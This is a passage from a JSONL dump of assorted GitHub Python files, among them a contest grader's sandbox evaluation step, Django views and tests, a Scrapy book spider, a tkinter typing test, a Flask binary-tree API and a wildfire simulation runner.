options=options)\n for name in [sandbox.stderr_file, sandbox.stdout_file]:\n if name is not None:\n writable_files.append(name)\n sandbox.allow_writing_only(writable_files)\n\n sandbox.set_multiprocess(multiprocess)\n\n # Actually run the evaluation command.\n logger.debug(\"Starting execution step.\")\n return sandbox.execute_without_std(command, wait=wait)\n\n\ndef evaluation_step_after_run(sandbox):\n \"\"\"Final part of an evaluation step, collecting the results after the run.\n\n See evaluation_step for the meaning of the argument and the return value.\n\n \"\"\"\n stats = execution_stats(sandbox)\n exit_status = stats[\"exit_status\"]\n\n if exit_status == Sandbox.EXIT_OK:\n # Evaluation succeeded, and user program terminated correctly.\n logger.debug(\"Evaluation terminated correctly.\")\n return True, True, stats\n\n elif exit_status in [\n Sandbox.EXIT_TIMEOUT,\n Sandbox.EXIT_TIMEOUT_WALL,\n Sandbox.EXIT_NONZERO_RETURN,\n Sandbox.EXIT_SIGNAL]:\n # Evaluation succeeded, and user program was interrupted for some error\n # condition. We report the success, the task type should decide how to\n # grade this evaluation.\n logger.debug(\"Evaluation ended with exit status '%s'\", exit_status)\n return True, False, stats\n\n # Unexpected errors of various degrees; we report the failure.\n elif exit_status == Sandbox.EXIT_SANDBOX_ERROR:\n logger.error(\"Evaluation aborted because of sandbox error \"\n \"(status '%s').\", exit_status)\n return False, None, None\n\n else:\n logger.error(\"Unrecognized evaluation exit status '%s'.\", exit_status)\n return False, None, None\n\n\ndef human_evaluation_message(stats):\n \"\"\"Return a human-readable message from the given execution stats.\n\n Return a message for errors in the command ran in the evaluation, that can\n be passed to contestants. Don't return a message for success conditions\n (as the message will be computed elsewhere) or for sandbox error (since the\n submission will still be \"evaluating...\" for contestants).\n\n stats (dict): execution statistics for an evaluation step.\n\n return ([str]): a list of strings composing the message (where\n strings from the second to the last are formatting arguments for the\n first); or an empty list if no message should be passed to\n contestants.\n\n \"\"\"\n exit_status = stats['exit_status']\n if exit_status == Sandbox.EXIT_TIMEOUT:\n return [EVALUATION_MESSAGES.get(\"timeout\").message]\n elif exit_status == Sandbox.EXIT_TIMEOUT_WALL:\n return [EVALUATION_MESSAGES.get(\"walltimeout\").message]\n elif exit_status == Sandbox.EXIT_SIGNAL:\n return [EVALUATION_MESSAGES.get(\"signal\").message]\n elif exit_status == Sandbox.EXIT_SANDBOX_ERROR:\n # Contestants won't see this, the submission will still be evaluating.\n return []\n elif exit_status == Sandbox.EXIT_NONZERO_RETURN:\n # Don't tell which code: would be too much information!\n return [EVALUATION_MESSAGES.get(\"returncode\").message]\n elif exit_status == Sandbox.EXIT_OK:\n return []\n else:\n logger.error(\"Unrecognized exit status for an evaluation: %s\",\n exit_status)\n return []\n","repo_name":"cms-dev/cms","sub_path":"cms/grading/steps/evaluation.py","file_name":"evaluation.py","file_ext":"py","file_size_in_byte":10733,"program_lang":"python","lang":"en","doc_type":"code","stars":840,"dataset":"github-code","pt":"47"} +{"seq_id":"22556657294","text":"#!/usr/bin/env python\n#-*- coding: utf-8 -*-\n\n\n# Types and useful classes Defined by Daseon\n\nfrom pyquaternion import Quaternion\nimport math as m\nimport numpy as np\nimport torch\nimport vpython as vp\nimport random as rd\n\n\ndef euler_to_quaternion(att):\n\n roll = att.x\n pitch = att.y\n yaw = att.z\n\n qx = np.sin(roll/2) * np.cos(pitch/2) * np.cos(yaw/2) - np.cos(roll/2) * np.sin(pitch/2) * np.sin(yaw/2)\n qy = np.cos(roll/2) * np.sin(pitch/2) * np.cos(yaw/2) + np.sin(roll/2) * np.cos(pitch/2) * np.sin(yaw/2)\n qz = np.cos(roll/2) * np.cos(pitch/2) * np.sin(yaw/2) - np.sin(roll/2) * np.sin(pitch/2) * np.cos(yaw/2)\n qw = np.cos(roll/2) * np.cos(pitch/2) * np.cos(yaw/2) + np.sin(roll/2) * np.sin(pitch/2) * np.sin(yaw/2)\n\n return [qx, qy, qz, qw]\n\ndef RotationQuaternion(att, option=\"n_b\"):\n _qx = Quaternion(axis=[1, 0, 0], angle=att.x)\n _qy = Quaternion(axis=[0, 1, 0], angle=att.y)\n _qz = Quaternion(axis=[0, 0, 1], angle=att.z)\n return _qz*_qy*_qx\n\n\nclass ASCIIart:\n def FDCLAB():\n print( \"\\t\\t\\t ____ ____ ___ \\\n \\n\\t\\t\\t ( __)( \\ / __) \\\n \\n\\t\\t\\t ) _) ) D (( (__ \\\n \\n\\t\\t\\t (__) (____/ \\___) \\\n \\n\\t\\t\\t __ __ ____ \\\n \\n\\t\\t\\t ( ) / _\\ ( _ \\ \\\n \\n\\t\\t\\t / (_/\\/ \\ ) _ ( \\\n \\n\\t\\t\\t \\____/\\_/\\_/(____/\")\n\n def LearningStarts():\n print( \" __ _ _____ __ __ \\\n \\n / / ___ ____ __________ (_)___ ____ _ / ___// /_____ ______/ /______ \\\n \\n / / / _ \\/ __ `/ ___/ __ \\/ / __ \\/ __ `/ \\__ \\/ __/ __ `/ ___/ __/ ___/ \\\n \\n / /___/ __/ /_/ / / / / / / / / / / /_/ / ___/ / /_/ /_/ / / / /_(__ ) \\\n \\n/_____/\\___/\\__,_/_/ /_/ /_/_/_/ /_/\\__, / /____/\\__/\\__,_/_/ \\__/____/ \\\n \\n /____/ \")\n\n def DDDMissileRL():\n print(\" _____ ____ __ ____ _ __ ____ __ \\\n \\n |__ // __ \\ / |/ (_)_________(_) /__ / __ \\/ / \\\n \\n /_ /', OrgHomeView.as_view(), name='org_home'),\n\tpath('org_course//', OrgCourseView.as_view(), name='org_course'),\n\tpath('org_desc//', OrgDescView.as_view(), name='org_desc'),\n\tpath('org_teacher//', OrgTeachersView.as_view(), name='org_teacher'),\n\tpath('add_fav/', UserFavView.as_view(), name='add_fav'),\n\n\t# 讲师url 管理\n\tpath('teacher/list/', TeacherListView.as_view(), name='teacher_list'),\n\tpath('teacher_detail//', TeacherDetailView.as_view(), name='teacher_detail')\n]\n","repo_name":"Guogeda/muxue","sub_path":"apps/organization/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":963,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"12835107505","text":"from django.contrib.auth.models import User\nfrom django.test import TestCase\nfrom random import randint, sample\nfrom faker import Faker\nfrom Devices.models import Hospital, Device, DeviceType, Caretaker\n\n\nclass HospitalTestCase(TestCase):\n\n def create_hospital(self, code, diff):\n hospitals_before = Hospital.objects.count()\n new_hospital = {\n 'name': '{}'.format(self.faker.company()),\n 'city': '{}'.format(self.faker.city()),\n 'address': '{}'.format(self.faker.street_address()),\n 'phone': '{}'.format(self.faker.phone_number()),\n 'email': '{}'.format(self.faker.email())\n }\n response = self.client.post('/hospital/create/', new_hospital)\n self.assertEqual(response.status_code, code)\n self.assertEqual(Hospital.objects.count(), (hospitals_before + diff))\n\n def setUp(self):\n self.faker = Faker('pl_PL')\n\n def test_get_hospital_list(self):\n response = self.client.get('/hospital/')\n self.assertEqual(response.status_code, 200)\n\n def test_get_hospital(self):\n response = self.client.get('/hospital/{}/'.format(randint(1, Hospital.objects.count())))\n self.assertEqual(response.status_code, 200)\n\n def test_post_hospital_with_permission(self):\n self.client.login(username='biuro', password='biuro')\n self.create_hospital(302, 1)\n\n def test_post_hospital(self):\n self.create_hospital(200, 0)\n\n def test_update_hospital(self):\n self.client.login(username='biuro', password='biuro')\n new_hospital = {\n 'name': '{}'.format(self.faker.company()),\n 'city': '{}'.format(self.faker.city()),\n 'address': '{}'.format(self.faker.street_address()),\n 'phone': '{}'.format(self.faker.phone_number()),\n 'email': '{}'.format(self.faker.email())\n }\n response = self.client.post('/hospital/update/1', new_hospital)\n self.assertEqual(response.status_code, 302)\n","repo_name":"isulim/Field-Service-Manager","sub_path":"FieldServiceManager/Devices/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":2005,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"33156430139","text":"class Solution:\n\tdef smallestEquivalentString(self, s1: str, s2: str, baseStr: str) -> str:\n\t\trep = [i for i in range(26)]\n\n\t\tdef find(x: int) -> int:\n\t\t\tif rep[x] == x:\n\t\t\t\treturn x\n\n\t\t\trep[x] = find(rep[x]) \n\t\t\treturn rep[x]\n\t\t\n\t\tdef union(x: int, y: int) -> None:\n\t\t\tx = find(x)\n\t\t\ty = find(y)\n\n\t\t\tif x < y:\n\t\t\t\trep[y] = x\n\t\t\telif x > y:\n\t\t\t\trep[x] = y\n\n\n\t\tdef toChr(i: int) -> str:\n\t\t\treturn chr(i+97)\n\t\tdef toInt(c: str) -> int:\n\t\t\treturn ord(c)-97\n\n\t \n\t\tfor i in range(len(s1)):\n\t\t\tunion(toInt(s1[i]), toInt(s2[i]));\n\n\t\tans = list(baseStr)\n\t\tfor i, c in enumerate(ans):\n\t\t\tans[i] = toChr(find(toInt(c)))\n\n\t\treturn ''.join(ans)\n","repo_name":"IamFaizanKhalid/problem-solving","sub_path":"leetcode.com/problems/lexicographically-smallest-equivalent-string/solution-2.py","file_name":"solution-2.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"35302310307","text":"import time\nimport random\nimport tkinter as tk\nfrom tkinter import messagebox\n\n# Lists of phrases for different difficulty levels\neasy_phrases = [\n \"The quick brown fox jumps over the lazy dog.\",\n \"To be or not to be, that is the question!\",\n \"Beggars can't be choosers, but they can be heroes.\",\n \"Life is like a box of chocolates.\",\n \"You can't judge a book by its cover.\",\n \"All that glitters is not gold.\",\n \"Better late than never.\",\n \"Actions speak louder than words.\",\n \"A picture is worth a thousand words.\",\n \"Don't count your chickens before they hatch.\",\n]\n\nmedium_phrases = [\n \"In the middle of difficulty lies opportunity.\",\n \"A penny for your thoughts? How about a dollar for your dreams?\",\n \"Honesty is the best policy, but insanity is a better defense.\",\n \"Where there's a will, there's a way.\",\n \"Don't cry over spilled milk.\",\n \"Every cloud has a silver lining, but sometimes you need an umbrella.\",\n \"When in Rome, do as the Romans do.\",\n \"The pen is mightier than the sword.\",\n \"Laughter is the best medicine.\",\n \"A stitch in time saves nine.\",\n]\n\nhard_phrases = [\n \"Coding is the language of the future, and the future is now!\",\n \"Success is walking from failure to failure with no loss of enthusiasm.\",\n \"When the going gets tough, the tough get going.\",\n \"Fortune favors the bold.\",\n \"The only way to do great work is to love what you do.\",\n \"Opportunity does not knock, it presents itself when you beat down the door.\",\n \"The greatest glory in living lies not in never falling, but in rising every time we fall.\",\n \"I have not failed. I've just found 10,000 ways that won't work.\",\n \"The harder I work, the luckier I get.\",\n \"The best way to predict the future is to create it.\",\n]\n\nclass TypingSpeedTestApp:\n def __init__(self, root):\n self.root = root\n self.root.title(\"Typing Speed Test\")\n\n self.difficulty_level = tk.StringVar()\n self.difficulty_level.set(\"easy\")\n\n self.phrase_label = tk.Label(root, text=\"\", font=(\"Arial\", 14))\n self.phrase_label.pack(pady=20)\n\n self.user_input_entry = tk.Entry(root, font=(\"Arial\", 14))\n self.user_input_entry.pack(pady=10)\n self.user_input_entry.bind(\"\", self.check_input) # Bind Enter key to check_input\n\n self.start_button = tk.Button(root, text=\"Start\", command=self.start_typing_test, font=(\"Arial\", 14))\n self.start_button.pack(pady=10)\n\n self.result_label = tk.Label(root, text=\"\", font=(\"Arial\", 12))\n self.result_label.pack(pady=20)\n\n self.play_again_button = tk.Button(root, text=\"Play Again\", command=self.play_again, font=(\"Arial\", 14))\n self.play_again_button.pack(pady=10)\n self.play_again_button.config(state=tk.DISABLED)\n\n self.create_difficulty_radio_buttons()\n\n # Track whether the typing window is cleared or not\n self.is_typing_window_cleared = False\n\n def create_difficulty_radio_buttons(self):\n difficulty_frame = tk.Frame(self.root)\n difficulty_frame.pack(pady=10)\n\n tk.Label(difficulty_frame, text=\"Select Difficulty Level:\", font=(\"Arial\", 12)).pack(side=tk.LEFT, padx=10)\n\n easy_radio = tk.Radiobutton(difficulty_frame, text=\"Easy\", variable=self.difficulty_level, value=\"easy\")\n easy_radio.pack(side=tk.LEFT)\n easy_radio.select()\n\n medium_radio = tk.Radiobutton(difficulty_frame, text=\"Medium\", variable=self.difficulty_level, value=\"medium\")\n medium_radio.pack(side=tk.LEFT)\n\n hard_radio = tk.Radiobutton(difficulty_frame, text=\"Hard\", variable=self.difficulty_level, value=\"hard\")\n hard_radio.pack(side=tk.LEFT)\n\n def start_typing_test(self):\n self.clear_typing_window() # Clear the typing window\n self.start_button.config(state=tk.DISABLED)\n self.play_again_button.config(state=tk.DISABLED)\n\n difficulty = self.difficulty_level.get()\n self.current_phrase = self.select_phrase(difficulty)\n\n self.phrase_label.config(text=self.current_phrase)\n self.user_input_entry.config(state=tk.NORMAL)\n self.user_input_entry.focus()\n self.start_time = time.time()\n self.total_words_typed = 0\n\n def select_phrase(self, difficulty_level):\n if difficulty_level == 'easy':\n return random.choice(easy_phrases)\n elif difficulty_level == 'medium':\n return random.choice(medium_phrases)\n elif difficulty_level == 'hard':\n return random.choice(hard_phrases)\n else:\n return random.choice(easy_phrases)\n\n def check_input(self, event):\n user_input = self.user_input_entry.get()\n end_time = time.time()\n\n input_words = user_input.split()\n correct_words = [w for w in input_words if w.strip('.,?!') in self.current_phrase.strip('.,?!')]\n\n accuracy = len(correct_words) / len(input_words) if input_words else 0\n time_taken = end_time - self.start_time\n\n self.total_words_typed += len(input_words)\n\n result_text = f\"Accuracy: {round(accuracy * 100, 2)}%, Time Taken: {round(time_taken, 2)} seconds, Total Words Typed: {self.total_words_typed}\"\n self.result_label.config(text=result_text)\n self.result_label.pack(pady=20)\n\n if accuracy > 0.8:\n self.play_again_button.config(state=tk.NORMAL)\n\n self.user_input_entry.config(state=tk.DISABLED)\n\n def play_again(self):\n self.clear_typing_window() # Clear the typing window\n self.start_button.config(state=tk.NORMAL)\n self.play_again_button.config(state=tk.DISABLED)\n self.result_label.config(text=\"\")\n self.user_input_entry.config(state=tk.NORMAL)\n self.user_input_entry.focus()\n self.current_phrase = \"\"\n\n def clear_typing_window(self):\n if not self.is_typing_window_cleared:\n self.user_input_entry.delete(0, tk.END)\n self.is_typing_window_cleared = True\n\ndef main():\n root = tk.Tk()\n app = TypingSpeedTestApp(root)\n root.mainloop()\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"yashdabke/Typing-Test-and-Accuracy-Evaluator","sub_path":"typetest_GUI.py","file_name":"typetest_GUI.py","file_ext":"py","file_size_in_byte":6132,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"25451828824","text":"from django.conf.urls import url,include\n\n\nfrom . import views \n\n\nurlpatterns=[\n url('^$',views.index, name= 'index'),\n url(r'^search/', views.search_results, name='search_results'),\n url('detail/(?P\\d+)/',views.detail, name ='post-detail'),\n\n url('post/new/',views.create, name ='post-create'),\n\n url (r'^search/',views.search_results,name= 'search_results'), \n url('api-auth/',include('rest_framework.urls', namespace='rest_framework')),\n url('post/review/(?P\\d+)',views.rate, name ='post-review'), \n\n]\n","repo_name":"owinolawrence/awwards","sub_path":"award/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":549,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"38370599704","text":"\n# Kullanıcıdan 3 intager alalım.\nsayi1 = int(input(\"Birinci sayıyı giriniz: \"))\nsayi2 = int(input(\"İkinci sayıyı giriniz: \"))\nsayi3 = int(input(\"Üçüncü sayıyı giriniz: \"))\n\n# Kaç tane sayısın eş olduğunu tutan değişkeni tanımlayalım.\nesit_sayilar = 0\n\n# Kullanıcıdan alınan sayıları karşılaştırıyoruz ve eşit olanları sayalım.\nif sayi1 == sayi2:\n esit_sayilar += 1\n\nif sayi1 == sayi3:\n esit_sayilar += 1\n\nif sayi2 == sayi3:\n esit_sayilar += 1\n\n# Eşit olan sayıların sayısını ekrana yazdıralım.\nprint(\"Girilen sayıların\", esit_sayilar, \"tanesi birbirine eşittir.\")\n\n# NOT: Lablarda inputların ve printlerin içinin tamamen boş olması istenmekte. Bu örneklerin daha kolay anlaşılması için dolduruldu.","repo_name":"omerahat/Questions-and-Solutions-of-Programming-Lectures","sub_path":"Ankara University/BLM1001/Lab1/G1S1/S1/Solition.py","file_name":"Solition.py","file_ext":"py","file_size_in_byte":757,"program_lang":"python","lang":"tr","doc_type":"code","stars":27,"dataset":"github-code","pt":"47"} +{"seq_id":"9150636106","text":"# -*- coding: utf-8 -*-\nimport scrapy\nfrom scrapy_redis.spiders import RedisSpider\n\nclass DangSpider(RedisSpider):\n name = 'dang'\n allowed_domains = ['dangdang.com']\n # start_urls = ['http://dangdang.com/']\n redis_key = \"dd\"\n # def start_requests(self):\n # url = \"http://category.dangdang.com/?ref=www-0-C\"\n # yield scrapy.Request(url,callback=self.parse,dont_filter=True)\n\n def parse(self, response):\n hrefs = response.xpath(\"//div[@class = 'classify_kind']//a/@href\").extract()\n for href in hrefs:\n yield scrapy.Request(href,callback=self.parse_nxt)\n\n def parse_nxt(self,response):\n li_list = response.xpath(\"//div[@id = 'search_nature_rg']//li\")\n cat = response.xpath(\"//div[@class = 'select_frame']/a[@class = 'a diff']/text()\").extract_first()\n for li in li_list:\n item = {}\n item[\"href\"] = li.xpath(\"./a[1]/@href\").extract_first()\n item[\"name\"] = li.xpath(\"./a[1]/@title\").extract_first()\n item[\"img\"] = li.xpath(\"./a[1]/img/@src\").extract_first()\n item[\"cat\"] = cat\n item[\"price\"] = li.xpath(\"./p[@class = 'price']/span/text()\").extract_first().replace(\"\\xa5\",\"\")\n item[\"book_detail\"] = li.xpath(\"./p[@class = 'detail']/text()\").extract_first()\n item[\"book_comments_num\"] = li.xpath(\"./p[@class = 'search_star_line']//a/text()\").extract_first()\n item[\"book_comments_href\"] = li.xpath(\"./p[@class = 'search_star_line']//a/@href\").extract_first()\n item[\"book_author\"] = li.xpath(\"./p[@class = 'search_book_author']/span[1]/a/text()\").extract_first()\n item[\"book_pub\"] = li.xpath(\"./p[@class = 'search_book_author']/span[3]/a/text()\").extract_first()\n item[\"book_pub_time\"] = li.xpath(\"./p[@class = 'search_book_author']/span[2]/text()\").extract_first()\n item[\"comments\"] = li.xpath(\"./p[@class = 'star']/a/text()\").extract_first()\n item[\"home\"] = li.xpath(\"./p[@class = 'link']/a/text()\").extract_first()\n item[\"home_link\"] = li.xpath(\"./p[@class = 'link']/a/@href\").extract_first()\n yield scrapy.Request(item[\"href\"],callback=self.parse_details,meta={\"item\":item})\n nxt_tmp = response.xpath(\"//div[@class = 'paging']//li[@class = 'next']/a/@href\").extract_first()\n if nxt_tmp is not None:\n nxt_page = \"http://category.dangdang.com\"+nxt_tmp\n print(nxt_page)\n yield scrapy.Request(nxt_page,callback=self.parse_nxt)\n\n def parse_details(self,response):\n item = response.meta[\"item\"]\n item[\"book_more_info\"] = response.xpath(\"//div[@class = 'pro_content']/ul[@class ='key clearfix']/li/text()\").extract()\n item[\"book_jud\"] = response.xpath(\"//div[@id = 'mediaFeedback']//span[@id = 'mediaFeedback-show']/text()\").extract()\n item[\"book_abs_jud\"] = response.xpath(\"//div[@id = 'abstract-show']/text()\").extract()\n item[\"book_content\"] = response.xpath(\"//div[@id = 'content']//span/text()\").extract()\n item[\"all_more\"] = response.xpath(\"//div[@id = 'detail_describe']//li/text()\").extract()\n yield item\n\n\n\n\n\n\n","repo_name":"seaofhymn/dangdang_spider","sub_path":"dangdang/spiders/dang.py","file_name":"dang.py","file_ext":"py","file_size_in_byte":3164,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"42115813991","text":"#!/usr/bin/env python\n# encoding: utf-8\n\n\"\"\"\n@author: zhanghe\n@software: PyCharm\n@file: log_test.py\n@time: 16-4-10 上午12:24\n\"\"\"\n\nfrom config import LOG_CONFIG\nimport logging\nfrom logging.config import dictConfig\n\n# 配置日志\ndictConfig(LOG_CONFIG)\n\n\ndef test_app():\n \"\"\"\n 测试日志_app\n \"\"\"\n log = logging.getLogger('app')\n log.info('This is a app info!')\n log.error('This is a app error!')\n\n\ndef test_db():\n \"\"\"\n 测试日志_db\n \"\"\"\n log = logging.getLogger('db')\n log.info('This is a db info!')\n log.error('This is a db error!')\n\n\nif __name__ == '__main__':\n test_app()\n test_db()\n","repo_name":"zhanghe06/flask_project","sub_path":"app_frontend/log_test.py","file_name":"log_test.py","file_ext":"py","file_size_in_byte":635,"program_lang":"python","lang":"en","doc_type":"code","stars":125,"dataset":"github-code","pt":"47"} +{"seq_id":"1329253973","text":"#Write a program to accept CFG and count number of productions in it.\n\nimport re\nprint(\"if more than one cfg entered seperate them with commas\")\nwhile(True):#To stop enter end\n produc = 0\n inp = input(\"Enter only cfg -- \")\n if inp.lower() == 'end':\n break\n cfgs = inp.split(',')\n for cfg in cfgs:\n alpha = re.findall('(\\S+)->',cfg)\n try:\n x = re.findall(\"[A-Z]\", alpha[0])\n other = re.findall('[\\S+]->(\\S+)',cfg)\n if len(alpha[0]) != 1 or len(x) != 1 or len(other[0])<1:\n alpha = 2/0\n other = re.findall(r'\\w+',other[0])\n produc += len(other)\n except:\n print(cfg,\" is not CFG\")\n print(\"Number of productions : \",produc)\n\n\n\n","repo_name":"RAMKISHORE004/CFG","sub_path":"cfg_counting.py","file_name":"cfg_counting.py","file_ext":"py","file_size_in_byte":750,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"18809901408","text":"#!/usr/bin/python3\n\"\"\"\n=============================================================================================================\nRetrieve the list of all Binarytree objects: GET /api/v1/binarytree/trees\nRetrieve a Binarytree object: GET /api/v1/binarytree/trees/\nRetrieve lost common ancestor of two nodes: GET /api/v1/binarytree/trees//LCA/node1/node2\n\nCreates Binarytree object: POST /api/v1/binarytree/trees\n\nDelete Binarytree object: DELETE /api/v1/binarytree/trees/\n=============================================================================================================\n\"\"\"\n\nfrom api.v1.views import app_views\nfrom models import storage\nfrom flask import jsonify, abort, request, make_response\nfrom models.binarytree import Binarytree\nfrom binarytree import tree, build\nfrom modules.LCA import *\n\n\n@app_views.route('/trees', strict_slashes=False, methods=['GET'])\ndef retrieve_trees():\n \"\"\" Retrieve the list of all Binarytree objects\"\"\"\n\n tree_list = []\n for key, value in storage.all(\"Binarytree\").items():\n tree_list.append(value.to_dict())\n return jsonify(tree_list)\n\n@app_views.route('/trees/', strict_slashes=False,\n methods=['GET'])\ndef retrieve_tree_id(tree_id):\n \"\"\"Method to retrieve an binarytree using the id\"\"\"\n\n key = 'Binarytree.' + tree_id\n if key in storage.all(\"Binarytree\").keys():\n return jsonify(storage.all(\"Binarytree\").get(key).to_dict())\n else:\n abort(404)\n\n@app_views.route('/trees//LCA//', strict_slashes=False,\n methods=['GET'])\ndef retrieve_LCA(tree_id, node1, node2):\n \"\"\"Method to retrieve Last common ancester of 2 nodes in a Binary tree\"\"\"\n\n key = 'Binarytree.' + tree_id\n if key in storage.all(\"Binarytree\").keys():\n\n list_rep = storage.all(\"Binarytree\")[key].tree_list\n tree_inst = build(list_rep)\n\n path1, path2 = [], []\n\n exist1 = findpath(tree_inst, path1, node1)\n exist2 = findpath(tree_inst, path2, node2)\n\n if exist1 is False:\n return make_response(jsonify({\"error\": \"Node1 Not found\"}), 404)\n \n if exist2 is False:\n return make_response(jsonify({\"error\": \"Node2 Not found\"}), 404)\n\n L_C_A = LCA(path1, path2)\n \n if LCA is not None:\n return make_response(jsonify({\"LCA\": \"{}\".format(L_C_A)}), 200)\n else:\n abort(404)\n\n@app_views.route('/trees/', methods=['DELETE'],\n strict_slashes=False)\ndef del_trees_id(tree_id):\n \"\"\"Method to delete an user object using the DELETE method and his id\"\"\"\n\n key = 'Binarytree.' + tree_id\n if key in storage.all(\"Binarytree\").keys():\n obj = storage.all(\"Binarytree\")[key]\n storage.delete(obj)\n storage.save()\n return make_response(jsonify({\"delete\": \"successful\"}), 200)\n else:\n abort(404)\n\n\n@app_views.route('/trees/', methods=['POST'], strict_slashes=False)\ndef post_tree():\n \"\"\"Method to create a random Binarytree object using POST\"\"\"\n\n new_tree = tree()\n list_rep = new_tree.values\n\n new_tree_obj = Binarytree()\n new_tree_obj.tree_list = list_rep\n new_tree_obj.save()\n\n key = 'Binarytree.' + new_tree_obj.id\n\n return jsonify(storage.all(\"Binarytree\").get(key).to_dict())\n","repo_name":"sechchr22/Binarytree_API","sub_path":"api/v1/views/binarytree.py","file_name":"binarytree.py","file_ext":"py","file_size_in_byte":3349,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"23966908480","text":"\"\"\"Runs a fire that didn't happen with the provided fake data\"\"\"\r\nfrom __future__ import print_function\r\n\r\nimport argparse\r\nimport datetime\r\nimport multiprocessing\r\nimport os\r\nimport sys\r\nimport timeit\r\nimport traceback\r\nimport shutil\r\nimport pandas as pd\r\nfrom dateutil.parser import parse\r\nfrom firestarr.log import *\r\nfrom firestarr.gis import *\r\nfrom firestarr.sql import *\r\nfrom firestarr.getWxshield import *\r\nfrom firestarr.PerimeterList import *\r\nfrom firestarr.Settings import *\r\nimport firestarr.shared\r\nfrom firestarr.shared import *\r\nfrom firestarr.util import *\r\nfrom firestarr.Scenario import *\r\nfrom firestarr.firestarr import *\r\n\r\nclass FakePerimeter:\r\n \"\"\"Provides dummy function to replace real class\"\"\"\r\n def __init__(self):\r\n \"\"\"!\r\n Intiialize with nothing\r\n @param self The object pointer\r\n \"\"\"\r\n pass\r\n def find_perim(self, fire, day):\r\n \"\"\"!\r\n Do nothing because we don't look for perimeters\r\n @param self The object pointer\r\n @param fire Fire to find perimeter for\r\n @param day Day to find perimeter for\r\n @return None\r\n \"\"\"\r\n return None\r\n\r\nclass FakeSettings:\r\n \"\"\"Runs FireSTARR for an imaginary fire\"\"\"\r\n def __init__(self):\r\n \"\"\"!\r\n Parses arguments for running a fake fire\r\n @param self The object pointer\r\n \"\"\"\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument(\"fire\", help=\"fire number to run for\")\r\n parser.add_argument(\"date\", help=\"start date to run for\")\r\n parser.add_argument(\"time\", help=\"start time to run for\")\r\n parser.add_argument(\"latitude\", help=\"latitude of start point\")\r\n parser.add_argument(\"longitude\", help=\"longitude of start point\")\r\n parser.add_argument(\"folder\", help=\"location to save output\")\r\n parser.add_argument(\"--check-maps\", action=\"store_true\", help=\"check for missing maps\")\r\n parser.add_argument(\"--ffmc\", help=\"override FFMC\")\r\n parser.add_argument(\"--dmc\", help=\"override DMC\")\r\n parser.add_argument(\"--dc\", help=\"override DC\")\r\n parser.add_argument(\"--apcp_0800\", help=\"override 0800 accumulated precipitation\")\r\n parser.add_argument(\"--size\", help=\"override size for fire\")\r\n parser.add_argument(\"-i\", action=\"store_true\", help=\"keep intensity files\")\r\n parser.add_argument(\"-f\", action=\"store_true\", help=\"force run\")\r\n parser.add_argument(\"-m\", action=\"store_true\", help=\"force making maps\")\r\n parser.add_argument(\"-n\", action=\"store_true\", help=\"no maps\")\r\n parser.add_argument(\"-a\", action=\"store_true\", help=\"use actuals\")\r\n parser.add_argument(\"-p\", action=\"store_true\", help=\"normal priority\")\r\n parser.add_argument(\"-s\", action=\"store_true\", help=\"sequential run\")\r\n parser.add_argument(\"--score\", help=\"target score to use\")\r\n ## Parsed command line arguments\r\n args = parser.parse_args()\r\n ## Whether or not to shown known perimeters when running past fires\r\n args.hide = True\r\n ## All command line arguments\r\n self.args = args\r\n ## Name of fake fire to run\r\n self.fire_mask = args.fire\r\n ## Date to run projeciton for\r\n self.for_date = args.date\r\n ## Location to save output\r\n self.folder = args.folder\r\n ## Latitude to start fire at\r\n self.lat = args.latitude\r\n ## Longitude to start fire at\r\n self.lon = args.longitude\r\n ## Whether or not to force running projection if output already exists\r\n self.force = args.f\r\n ## Whether or not to keep intensity maps for simulation\r\n self.keep_intensity = args.i\r\n ## Whether or not to force making map products if they already exist\r\n self.force_maps = args.m\r\n ## Whether or not to check if maps need to be made and make them if so\r\n self.check_maps = args.check_maps\r\n ## Whether or not to start from a perimeter\r\n self.use_perim = False\r\n ## Whether or not to run for fires that are out\r\n self.out_also = False\r\n ## Whether or not to not create map outputs\r\n self.no_maps = args.n\r\n ## Whether or not to shown known perimeters when running past fires\r\n self.hide = args.hide\r\n ## Whether or not to run simulation using the observed weather instead of forecast\r\n self.actuals_only = args.a\r\n ## Whether or not to run simulation with lower process priority\r\n self.low_priority = not args.p\r\n ## Whether or not to run everything sequentially instead of async where possible\r\n self.no_async = args.s\r\n ## Fine Fuel Moisture Code to override startup values with\r\n self.ffmc = args.ffmc\r\n ## Duff Moisture Code to override startup values with\r\n self.dmc = args.dmc\r\n ## Drought Code to override startup values with\r\n self.dc = args.dc\r\n ## Accumulated Precipitation at 0800 to override startup values with\r\n self.apcp_0800 = args.apcp_0800\r\n ## Size to start simulated fire with\r\n self.override_size = args.size if args.size else 1\r\n ## Flags to use for starting subprocess for simulation\r\n self.simulation_flags = CREATE_NO_WINDOW\r\n ## Target score to use for WxSHIELD long range matching\r\n self.score = args.score\r\n if self.low_priority:\r\n self.simulation_flags = self.simulation_flags | BELOW_NORMAL_PRIORITY_CLASS\r\n ## Time to start simulation for\r\n self.for_time = args.time\r\n ## Year to run projection for\r\n self.year = parse(self.for_date).year\r\n ## Base folder to output to\r\n self.outbase = os.path.abspath(self.folder)\r\n if self.actuals_only:\r\n self.outbase = os.path.join(os.path.realpath(os.path.join(self.outbase, \"..\")), \"actuals\")\r\n ## Lookup class for finding perimeters\r\n self.perimeters = FakePerimeter()\r\n\r\ndef doRun():\r\n \"\"\"!\r\n Run fake fire\r\n @return None\r\n \"\"\"\r\n settings = FakeSettings()\r\n scenario = 